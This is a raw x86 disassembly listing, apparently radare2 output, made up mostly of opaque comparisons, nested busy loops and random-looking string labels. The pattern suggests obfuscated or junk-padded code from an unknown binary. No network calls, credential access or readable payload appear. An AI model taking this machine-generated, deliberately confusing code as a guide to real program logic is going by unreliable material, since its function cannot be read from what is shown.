mov dword [ebp - 0x6c], 0xffffffff
mov dword [ebp - 0x280], 0x4fd9e2a8
mov dword [ebp - 0x958], 0
mov dword [ebp - 0xd88], 0xcd7820ea
mov dword [ebp - 0x5c8], 0
jmp 0x438075
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 2
jge 0x438091
mov eax, dword [ebp - 0x5c8]
mov dword [ebp + eax*4 - 0x788], 0x418a5273
jmp 0x438068
imul eax, dword [ebp - 0x230], 0xffff
cmp eax, 0xffffffff
jg 0x4380ac
mov dword [ebp - 0xd50], 1
jmp 0x4380b3
and dword [ebp - 0xd50], 0
mov eax, dword [ebp - 0xd50]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x230], 0
jmp 0x4380d5
mov eax, dword [ebp - 0x230]
dec eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0xffffffe5
jne 0x438610
mov dword [ebp - 0x1be0], 0x4b58e17c
mov dword [ebp - 0x78c], 0xffffffff
mov dword [ebp - 0x720], 0xbc383c67
push 1
lea ecx, [ebp - 0x1200]
call fcn.00420237
mov dword [ebp - 0x1b8], 0
jmp 0x438126
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jge 0x438142
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x7fc], 0xfffffffb
jmp 0x438119
lea eax, [ebp - 0x1200]
push eax
lea eax, [ebp - 0x1b8]
push eax
call fcn.00434590
pop ecx
pop ecx
mov dword [ebp - 0x6c], 1
jmp 0x438167
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x4384c2
mov dword [ebp - 0xf88], 0
mov dword [ebp - 0x910], 0xf2301355
mov dword [ebp - 0x16b4], 0xdd0bb265
mov dword [ebp - 0xd78], 0x42fa
push 0
lea eax, [ebp - 0x958]
push eax
push 1
call fcn.00428e8f
add esp, 0xc
mov eax, dword [ebp - 0x6c]
mov ecx, 0x8de9
sub ecx, dword [ebp + eax*4 - 0x7fc]
mov eax, dword [ebp - 0x6c]
cmp ecx, dword [ebp + eax*4 - 0x7fc]
jl 0x4381d3
mov dword [ebp - 0x900], 1
jmp 0x4381da
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp + eax*4 - 0x7fc]
cmp dword [ebp - 0x900], eax
jl 0x4381f8
mov dword [ebp - 0x10c4], 1
jmp 0x4381ff
and dword [ebp - 0x10c4], 0
cmp dword [ebp - 0x10c4], 0x6892
jl 0x438217
mov dword [ebp - 0x908], 1
jmp 0x43821e
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0x720], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x720]
sub ecx, dword [ebp + eax - 0x7fc]
mov dword [ebp - 0xd58], ecx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0xd58]
mov dword [ebp + eax*4 - 0x7fc], ecx
mov eax, dword [ebp - 0xd58]
mov dword [ebp - 0x910], eax
cmp dword [ebp - 0x910], 0
je 0x438275
mov eax, dword [ebp - 0x6c]
cmp dword [ebp + eax*4 - 0x7fc], 0
jne 0x438287
mov eax, 0xc8f94914
test eax, eax
jne 0x438287
and dword [ebp - 0xf80], 0
jmp 0x438291
mov dword [ebp - 0xf80], 1
cmp dword [ebp - 0xf80], 0x526954eb
jne 0x4382a9
mov dword [ebp - 0x918], 1
jmp 0x4382b0
and dword [ebp - 0x918], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x788]
cmp dword [ebp - 0x918], eax
jne 0x4382d1
mov dword [ebp - 0xd60], 1
jmp 0x4382d8
and dword [ebp - 0xd60], 0
mov eax, dword [ebp - 0xf88]
cmp dword [ebp - 0xd60], eax
jne 0x4382f2
mov dword [ebp - 0x920], 1
jmp 0x4382f9
and dword [ebp - 0x920], 0
push 0
lea ecx, [ebp - 0x1200]
call fcn.00420325
mov ecx, dword [ebp - 0x920]
cmp ecx, dword [eax]
je 0x43831c
mov dword [ebp - 0x1100], 1
jmp 0x438323
and dword [ebp - 0x1100], 0
cmp dword [ebp - 0x1100], 0
jne 0x438338
mov dword [ebp - 0x928], 1
jmp 0x43833f
and dword [ebp - 0x928], 0
cmp dword [ebp - 0x928], 0xb7dc
jg 0x438357
mov dword [ebp - 0xd68], 1
jmp 0x43835e
and dword [ebp - 0xd68], 0
cmp dword [ebp - 0xd68], 0xc5f6b4ab
jae 0x438376
mov dword [ebp - 0x930], 1
jmp 0x43837d
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x930]
mov dword [ebp - 0x16b4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xf88]
cmp dword [ebp + eax - 0x788], ecx
jg 0x4383aa
mov dword [ebp - 0x16bc], 1
jmp 0x4383b1
and dword [ebp - 0x16bc], 0
cmp dword [ebp - 0xd78], 0
jne 0x4383d5
push 0
lea ecx, [ebp - 0x1200]
call fcn.00420325
cmp dword [eax], 0
jne 0x4383d5
and dword [ebp - 0x938], 0
jmp 0x4383df
mov dword [ebp - 0x938], 1
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0
je 0x438410
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x788], 0
je 0x438410
mov dword [ebp - 0xd70], 1
jmp 0x438417
and dword [ebp - 0xd70], 0
mov eax, dword [ebp - 0xd70]
mov dword [ebp - 0x78c], eax
cmp dword [ebp - 0x78c], 1
jne 0x438438
mov dword [ebp - 0x940], 1
jmp 0x43843f
and dword [ebp - 0x940], 0
cmp dword [ebp - 0x940], 0
jg 0x438454
mov dword [ebp - 0x1098], 1
jmp 0x43845b
and dword [ebp - 0x1098], 0
cmp dword [ebp - 0x1098], 0xc684
je 0x438473
mov dword [ebp - 0x948], 1
jmp 0x43847a
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0xd88]
cmp dword [ebp - 0x948], eax
jge 0x438494
mov dword [ebp - 0x950], 1
jmp 0x43849b
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0xd78]
imul eax, dword [ebp - 0x950]
imul esi, eax, 0xdfdd
push 0
lea ecx, [ebp - 0x1200]
call fcn.00420325
mov dword [eax], esi
jmp 0x438160
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x788]
mov dword [ebp - 0xf90], eax
push 0
lea ecx, [ebp - 0x1200]
call fcn.00420325
mov ecx, dword [ebp - 0xf90]
mov dword [eax], ecx
cmp dword [ebp - 0xf90], 0
jne 0x4385bc
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x788]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 1
jle 0x43851f
mov dword [ebp - 0x115c], 1
jmp 0x438526
and dword [ebp - 0x115c], 0
cmp dword [ebp - 0x78c], 0
jne 0x438550
mov eax, dword [ebp - 0x958]
mov dword [ebp - 0x1dd4], eax
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x438550
or eax, 0xffffffff
jne 0x438550
and dword [ebp - 0xd80], 0
jmp 0x43855a
mov dword [ebp - 0xd80], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x788]
mov ecx, dword [ebp - 0xd80]
lea eax, [ecx + eax - 0xa]
cmp eax, 2
jle 0x438582
mov dword [ebp - 0x960], 1
jmp 0x438589
and dword [ebp - 0x960], 0
cmp dword [ebp - 0x960], 0
jbe 0x43859e
mov dword [ebp - 0x968], 1
jmp 0x4385a5
and dword [ebp - 0x968], 0
mov eax, dword [ebp - 0x115c]
cmp eax, dword [ebp - 0x968]
jl 0x4385bc
and dword [ebp - 0x970], 0
jmp 0x4385c6
mov dword [ebp - 0x970], 1
mov eax, dword [ebp - 0xd88]
cmp dword [ebp - 0x970], eax
jge 0x4385e0
mov dword [ebp - 0xf98], 1
jmp 0x4385e7
and dword [ebp - 0xf98], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x788]
add eax, dword [ebp - 0xf98]
mov dword [ebp - 0x720], eax
lea ecx, [ebp - 0x1200]
call fcn.00420309
jmp 0x4380c8
mov eax, dword [0xac7a04]
and eax, 1
jne 0x43863c
mov eax, dword [0xac7a04]
or eax, 1
mov dword [0xac7a04], eax
mov ecx, 0xac799c
call fcn.0045234f
push 0x4b7a83
call fcn.004a11bd
pop ecx
mov dword [ebp - 0x5d0], 2
push 3
lea ecx, [ebp - 0x111c]
call fcn.00420237
mov dword [ebp - 0x16e4], 0x1cfd1f2e
mov dword [ebp - 0x16d4], 0x2624
mov dword [ebp - 0x978], 0x2d74
mov dword [ebp - 0x16c4], str.ietf_awhw_uplzyoehv_jbmbnmpbc_iufcel_yehj_sypx_gfx_yashxwsww
cmp dword [ebp - 0x978], 0x2d95
jle 0x4386ff
and dword [ebp - 0x4d8], 0
jmp 0x43869d
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0x7d6c
jge 0x4386ff
and dword [ebp - 0x288], 0
jmp 0x4386bf
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x7e40
jge 0x4386fd
mov eax, dword [ebp - 0x4d8]
imul eax, dword [ebp - 0x288]
cdq
mov dword [ebp - 0x1394], eax
mov dword [ebp - 0x1390], edx
push dword [ebp - 0x1390]
push dword [ebp - 0x1394]
mov ecx, 0xac67d8
call fcn.004200f3
jmp 0x4386b2
jmp 0x438690
mov dword [ebp - 4], 4
cmp dword [ebp - 0x978], 0x2a57
jge 0x438722
mov edx, dword [ebp - 0x16c4]
mov ecx, 0xac67d8
call fcn.00421ea9
jmp 0x43873e
or dword [ebp - 4], 0xffffffff
jmp 0x438748
push 0
lea eax, [ebp - 0x111c]
push eax
lea eax, [ebp - 0x54]
push eax
push 0x426a
push 1
push 0x24bd
call fcn.0042d417
add esp, 0x18
mov dword [ebp - 0x54], 0
jmp 0x438779
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x43878f
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0xd98], 0
jmp 0x438772
mov dword [ebp - 0x54], 0
jmp 0x43879f
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x4387b5
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x1cd4], 0x5d9c72
jmp 0x438798
mov dword [ebp - 0x5d0], 0x10
jmp 0x4387ce
mov eax, dword [ebp - 0x5d0]
dec eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 2
jne 0x438c40
mov dword [ebp - 0x9a0], 1
mov dword [ebp - 0xfa0], 6
mov dword [ebp - 0x290], 0
jmp 0x438808
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 1
jge 0x438821
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x2c], 0
jmp 0x4387fb
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2c], 0
jmp 0x438846
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 2
jg 0x438c3b
mov dword [ebp - 0xd90], 0x4441
mov dword [ebp - 0x16cc], str.hxsuz_zejljxqii_bjlrphqs_reuqofzx_opo_rnvanzreq_cyl
cmp dword [ebp - 0xd90], 0x4532
jle 0x438923
and dword [ebp - 0x4e0], 0
jmp 0x438891
mov eax, dword [ebp - 0x4e0]
inc eax
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 0x3fc9
jge 0x438923
and dword [ebp - 0x298], 0
jmp 0x4388b7
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x71bb
jge 0x43891e
and dword [ebp - 0x5d8], 0
jmp 0x4388d9
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 0x22d3
jge 0x43891c
mov eax, dword [ebp - 0x4e0]
and eax, dword [ebp - 0x298]
xor eax, dword [ebp - 0x5d8]
cdq
mov dword [ebp - 0x13a0], eax
mov dword [ebp - 0x139c], edx
push dword [ebp - 0x139c]
push dword [ebp - 0x13a0]
mov ecx, 0xac67d8
call fcn.004200f3
jmp 0x4388cc
jmp 0x4388aa
jmp 0x438884
mov dword [ebp - 0x728], 0xffff
mov dword [ebp - 4], 6
cmp dword [ebp - 0xd90], 0x4203
jge 0x438950
mov edx, dword [ebp - 0x16cc]
mov ecx, 0xac67d8
call fcn.00421ea9
jmp 0x43896c
or dword [ebp - 4], 0xffffffff
jmp 0x438976
push 1
lea ecx, [ebp - 0x1a74]
call fcn.00420237
push 0x7f70
lea eax, [ebp - 0x1a74]
push eax
lea eax, [ebp - 0x1be8]
push eax
push 0
push 1
push 1
call fcn.00451f0b
add esp, 0x18
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
mov dword [ebp - 0x1ee8], eax
push 1
lea ecx, [ebp - 0x111c]
call fcn.00420325
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1cd4]
mov dword [ebp - 0x1bf0], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x2c]
lea ecx, [ebp - 0x111c]
call fcn.00420325
cmp dword [eax], 0xc47a
je 0x4389fd
mov dword [ebp - 0x980], 1
jmp 0x438a04
and dword [ebp - 0x980], 0
cmp dword [ebp - 0x980], 0
je 0x438a19
mov dword [ebp - 0x10a0], 1
jmp 0x438a20
and dword [ebp - 0x10a0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd98]
cmp dword [ebp - 0x10a0], eax
jne 0x438a41
mov dword [ebp - 0x988], 1
jmp 0x438a48
and dword [ebp - 0x988], 0
mov eax, dword [ebp - 0x988]
sub eax, 0x4418
je 0x438a6e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 0
je 0x438a6e
mov dword [ebp - 0x7a4], 1
jmp 0x438a75
and dword [ebp - 0x7a4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp + eax - 0xd98], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x7a4], eax
jle 0x438aa6
mov dword [ebp - 0x990], 1
jmp 0x438aad
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x9a0]
mov dword [ebp - 0x1de4], eax
mov eax, dword [ebp - 0x990]
mov dword [ebp - 0xfa0], eax
mov eax, dword [ebp - 0xfa0]
mov dword [ebp - 0x1bf8], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x2c]
lea ecx, [ebp - 0x111c]
call fcn.00420325
mov ecx, dword [ebp - 0x16d4]
cmp dword [eax], ecx
jne 0x438afc
mov dword [ebp - 0x998], 1
jmp 0x438b03
and dword [ebp - 0x998], 0
cmp dword [ebp - 0x998], 0x8fa7ad11
jae 0x438b1b
mov dword [ebp - 0xda0], 1
jmp 0x438b22
and dword [ebp - 0xda0], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x2c]
lea ecx, [ebp - 0x111c]
call fcn.00420325
mov esi, dword [ebp - 0xda0]
sub esi, dword [eax]
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x2c]
lea ecx, [ebp - 0x111c]
call fcn.00420325
cmp esi, dword [eax]
jle 0x438b64
mov dword [ebp - 0x16dc], 1
jmp 0x438b6b
and dword [ebp - 0x16dc], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x2c]
lea ecx, [ebp - 0x111c]
call fcn.00420325
mov eax, 0xe37d660f
cmp eax, 0x356e3f0e
jne 0x438ba1
cmp dword [ebp - 0x9a0], 0
je 0x438ba1
mov dword [ebp - 0x1108], 1
jmp 0x438ba8
and dword [ebp - 0x1108], 0
mov eax, dword [ebp - 0x728]
inc eax
mov dword [ebp - 0x728], eax
mov eax, dword [ebp - 0x728]
cmp eax, dword [ebp - 0x1108]
je 0x438bcf
mov dword [ebp - 0x9a8], 1
jmp 0x438bd6
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x16e4]
cmp dword [ebp - 0x9a8], eax
jle 0x438bf0
mov dword [ebp - 0xda8], 1
jmp 0x438bf7
and dword [ebp - 0xda8], 0
cmp dword [ebp - 0xda8], 0xd93c
je 0x438c0f
mov dword [ebp - 0x9b0], 1
jmp 0x438c16
and dword [ebp - 0x9b0], 0
push 0
lea ecx, [ebp - 0x1a74]
call fcn.00420325
mov ecx, dword [ebp - 0x9b0]
mov dword [eax], ecx
lea ecx, [ebp - 0x1a74]
call fcn.00420309
jmp 0x438831
jmp 0x4387c1
lea ecx, [ebp - 0x111c]
call fcn.00420309
call fcn.00431094
mov dword [ebp - 0x1fc8], 0x8fc558ba
mov dword [ebp - 0x16ec], 1
mov dword [ebp - 0x1f20], 0
mov dword [ebp - 0x1f1c], 0
mov dword [ebp - 0x1f18], 0
mov dword [ebp - 0x1f14], 0
mov dword [ebp - 0x2a0], 0
jmp 0x438ca5
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 2
jge 0x438cc1
mov eax, dword [ebp - 0x2a0]
mov dword [ebp + eax*4 - 0x11d4], 0xffffffff
jmp 0x438c98
call fcn.00431104
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x11d4], 5
jmp 0x438cf4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x11d4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x11d4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x11d4], 0xffffffec
jg 0x438d13
lea eax, [ebp - 0x16ec]
push eax
call fcn.004322e3
pop ecx
jmp 0x438cd9
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x114], 0xf5540d7f
mov dword [ebp - 0x114], 0
jmp 0x438d40
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xc
jg 0x43902e
mov dword [ebp - 0x1f8], 9
mov dword [ebp - 0x154], 0x5ec62bb2
mov dword [ebp - 0xc4], 0xb5a9cea4
mov dword [ebp - 0x16fc], 0xa43d
mov dword [ebp - 0x4e8], 0
jmp 0x438d8e
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 3
jge 0x438daa
mov eax, dword [ebp - 0x4e8]
mov dword [ebp + eax*4 - 0x2194], 0xea471603
jmp 0x438d81
mov dword [ebp - 0x1f8], 0
jmp 0x438dc3
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 6
jne 0x439029
push 3
lea ecx, [ebp - 0x830]
call fcn.00420237
mov dword [ebp - 0x798], 0x305aba9a
mov dword [ebp - 0x16f4], 1
lea eax, [ebp - 0x1c00]
push eax
push 0
push 1
push 0x40ea
lea eax, [ebp - 0x830]
push eax
call fcn.0042683f
add esp, 0x14
call fcn.0043114d
push 0
lea ecx, [ebp - 0x830]
call fcn.00420325
mov esi, eax
push 0
lea ecx, [ebp - 0x830]
call fcn.00420325
mov ecx, dword [esi]
add ecx, dword [eax]
jne 0x438ecf
mov dword [ebp - 0x154], 0
mov esi, dword [ebp - 0x154]
push 1
lea ecx, [ebp - 0x830]
call fcn.00420325
cmp esi, dword [eax]
jl 0x438e68
mov dword [ebp - 0xfa8], 1
jmp 0x438e6f
and dword [ebp - 0xfa8], 0
push 1
lea ecx, [ebp - 0x830]
call fcn.00420325
mov ecx, dword [ebp - 0xfa8]
sub ecx, dword [eax]
mov dword [ebp - 0xc4], ecx
mov esi, dword [ebp - 0xc4]
push 0
lea ecx, [ebp - 0x830]
call fcn.00420325
sub esi, dword [eax]
je 0x438eb6
mov eax, 0xd20578cc
test eax, eax
je 0x438eb6
mov dword [ebp - 0x9b8], 1
jmp 0x438ebd
and dword [ebp - 0x9b8], 0
cmp dword [ebp - 0x9b8], 0xfffffffb
je 0x438ecf
and dword [ebp - 0xdb0], 0
jmp 0x438ed9
mov dword [ebp - 0xdb0], 1
cmp dword [ebp - 0xdb0], 0x59141a9
je 0x438efa
mov eax, 0x4d4e2b79
test eax, eax
je 0x438efa
mov dword [ebp - 0x9c0], 1
jmp 0x438f01
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x9c0], eax
jne 0x438f1b
mov dword [ebp - 0x10a8], 1
jmp 0x438f22
and dword [ebp - 0x10a8], 0
push 0
lea ecx, [ebp - 0x830]
call fcn.00420325
imul ecx, dword [ebp - 0x10a8], 0xfffffff6
mov eax, dword [eax]
sub eax, ecx
cmp eax, 0x2a6f
jl 0x438f4d
mov dword [ebp - 0x9c8], 1
jmp 0x438f54
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0x9c8], eax
je 0x438fea
mov dword [ebp - 0xc4], 0
jmp 0x438f7f
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xfffffff4
jle 0x438fa2
cmp dword [ebp - 0x114], 0
je 0x438f93
jmp 0x438fa2
lea eax, [ebp - 0x798]
push eax
call fcn.004345d8
pop ecx
jmp 0x438f72
mov dword [ebp - 0x154], 0
jmp 0x438fbb
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 7
jg 0x438fe8
call fcn.00431187
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0x798]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.004312cd
add esp, 0xc
jmp 0x438fae
jmp 0x439019
lea eax, [ebp - 0x798]
push eax
push 0
push 0x2617
push 0x368b
lea eax, [ebp - 0x16f4]
push eax
call fcn.004475fe
add esp, 0x14
lea eax, [ebp - 0x16fc]
push eax
call fcn.004322e3
pop ecx
lea ecx, [ebp - 0x830]
call fcn.00420309
jmp 0x438db6
jmp 0x438d33
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x11c], 2
mov dword [ebp - 0x218], 0xeb32a831
mov dword [ebp - 0xcc], 0xb2e8
mov dword [ebp - 0x178], 0x1b5f7a0d
mov dword [ebp - 0x171c], 0x52423599
mov dword [ebp - 0x2a8], 0
jmp 0x439080
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 3
jge 0x43909c
mov eax, dword [ebp - 0x2a8]
mov dword [ebp + eax*4 - 0x6f4], 0xfffffff7
jmp 0x439073
imul eax, dword [ebp - 0x11c], 3
cmp eax, dword [ebp - 0x11c]
jl 0x4390b7
mov dword [ebp - 0xdb8], 1
jmp 0x4390be
and dword [ebp - 0xdb8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xdb8]
mov dword [ebp + eax - 0x6f4], ecx
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x6f4], 0
jne 0x439190
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x6f4], 0xf5537c57
je 0x439103
mov dword [ebp - 0x9d0], 1
jmp 0x43910a
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x9d0], eax
jg 0x439124
mov dword [ebp - 0xfb0], 1
jmp 0x43912b
and dword [ebp - 0xfb0], 0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xfb0]
lea eax, [ecx + eax - 0xfffa]
test eax, eax
je 0x439155
push 9
pop eax
test eax, eax
je 0x439155
mov dword [ebp - 0x730], 1
jmp 0x43915c
and dword [ebp - 0x730], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x730]
mov dword [ebp + eax - 0x6f4], ecx
cmp dword [ebp - 0x730], 0
je 0x439189
or eax, 0xffffffff
je 0x439189
mov dword [ebp - 0x9d8], 1
jmp 0x439190
and dword [ebp - 0x9d8], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x6f4], 0x6b51f0ef
jle 0x4391ae
mov dword [ebp - 0x1704], 1
jmp 0x4391b5
and dword [ebp - 0x1704], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1df4], eax
cmp dword [ebp - 0xcc], 0xc4eb0a11
je 0x4391db
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x6f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6f4]
mov dword [ebp - 0x1c08], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x1ef0], eax
mov eax, dword [ebp - 0x178]
cmp dword [ebp - 0xcc], eax
jne 0x439214
mov dword [ebp - 0xdc0], 1
jmp 0x43921b
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0xdc0]
je 0x439235
mov dword [ebp - 0x9e0], 1
jmp 0x43923c
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x218]
imul eax, dword [ebp - 0x9e0]
sub eax, dword [ebp - 0x178]
je 0x43926d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x6f4], 0
je 0x43926d
mov dword [ebp - 0x1144], 1
jmp 0x439274
and dword [ebp - 0x1144], 0
mov eax, dword [ebp - 0x1144]
neg eax
je 0x4392c6
cmp dword [ebp - 0x218], 0
je 0x4392c6
push 2
lea ecx, [ebp - 0x1a68]
call fcn.00420237
lea eax, [ebp - 0x1a68]
push eax
lea eax, [ebp - 0x1c10]
push eax
call fcn.00431346
pop ecx
pop ecx
lea eax, [ebp - 0x1a68]
push eax
call fcn.0043138e
pop ecx
lea ecx, [ebp - 0x1a68]
call fcn.00420309
jmp 0x43969a
mov dword [ebp - 0x9c], 0x64e48c0c
mov dword [ebp - 0x1c0], 8
mov dword [ebp - 0x7c], 0
jmp 0x4392ea
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x439300
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x11e4], 0x42ee1e3c
jmp 0x4392e3
mov dword [ebp - 0x7c], 0
jmp 0x439310
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 1
jge 0x439326
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x738], 1
jmp 0x439309
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x9c], eax
jne 0x439340
mov dword [ebp - 0xdc8], 1
jmp 0x439347
and dword [ebp - 0xdc8], 0
mov eax, 0xff6a
test eax, eax
je 0x439399
mov eax, dword [ebp - 0x9c]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x6f4]
cmp eax, dword [ebp - 0x9c]
jle 0x439378
mov dword [ebp - 0x9e8], 1
jmp 0x43937f
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x9e8], eax
je 0x439399
mov dword [ebp - 0x170c], 1
jmp 0x4393a0
and dword [ebp - 0x170c], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1e04], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1c18], eax
cmp dword [ebp - 0xdc8], 0x600ac80e
jge 0x4393d0
mov dword [ebp - 0x9f0], 1
jmp 0x4393d7
and dword [ebp - 0x9f0], 0
cmp dword [ebp - 0x9f0], 0xf554
je 0x4393ef
mov dword [ebp - 0x1714], 1
jmp 0x4393f6
and dword [ebp - 0x1714], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1f60], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x11e4], 0xfff7
mov eax, 0x49d9
sub eax, 0xfff7
cmp eax, 1
jbe 0x43942e
mov dword [ebp - 0xfb8], 1
jmp 0x439435
and dword [ebp - 0xfb8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xfb8]
mov dword [ebp + eax - 0x738], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6f4]
mov dword [ebp - 0x1c20], eax
mov dword [ebp - 0x1c0], 0x6747b1d0
xor eax, eax
jne 0x4395c3
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x1e14], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xcc]
cmp dword [ebp + eax - 0x11e4], ecx
je 0x43949a
mov dword [ebp - 0xdd0], 1
jmp 0x4394a1
and dword [ebp - 0xdd0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x11e4]
mov dword [ebp - 0x9f8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9f8]
mov dword [ebp + eax - 0x6f4], ecx
mov eax, dword [ebp - 0x9f8]
cmp eax, dword [ebp - 0xdd0]
jge 0x4394e1
mov dword [ebp - 0x7ac], 1
